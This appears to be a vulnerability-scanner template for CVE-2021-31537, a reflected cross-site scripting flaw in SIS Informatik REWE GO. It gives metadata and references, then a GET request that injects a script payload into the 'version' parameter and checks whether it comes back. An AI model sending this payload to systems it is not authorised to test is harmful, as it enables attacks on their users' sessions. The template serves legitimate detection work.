id: CVE-2021-31537

info:
  name: SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: SIS Informatik REWE GO SP17 before 7.7 contains a cross-site scripting vulnerability via rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being displayed on web pages.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/
    - http://seclists.org/fulldisclosure/2021/May/20
    - https://sisinformatik.com/rewe-go/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31537
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31537
    cwe-id: CWE-79
    epss-score: 0.00355
    epss-percentile: 0.71969
    cpe: cpe:2.3:a:sisinformatik:sis-rewe_go:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sisinformatik
    product: sis-rewe_go
  tags: cve2021,cve,xss,seclists,intrusive,sisinformatik

http:
  - method: GET
    path:
      - "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <script>confirm({{randstr}})</script>
          - SIS-REWE
        condition: and

      - type: word
        part: header
        words:
          - text/html
# digest: 490a004630440220078c15dc6b960222c9f8c760f1bd48ce5b6953dde57fe9f4e83e1cd017a8ffbb02201dacc9c9aa6d2037a07656863708ae78bee942290924355f8b0fa562d5f21c74:922c64590222798bb761d5b6d8e72950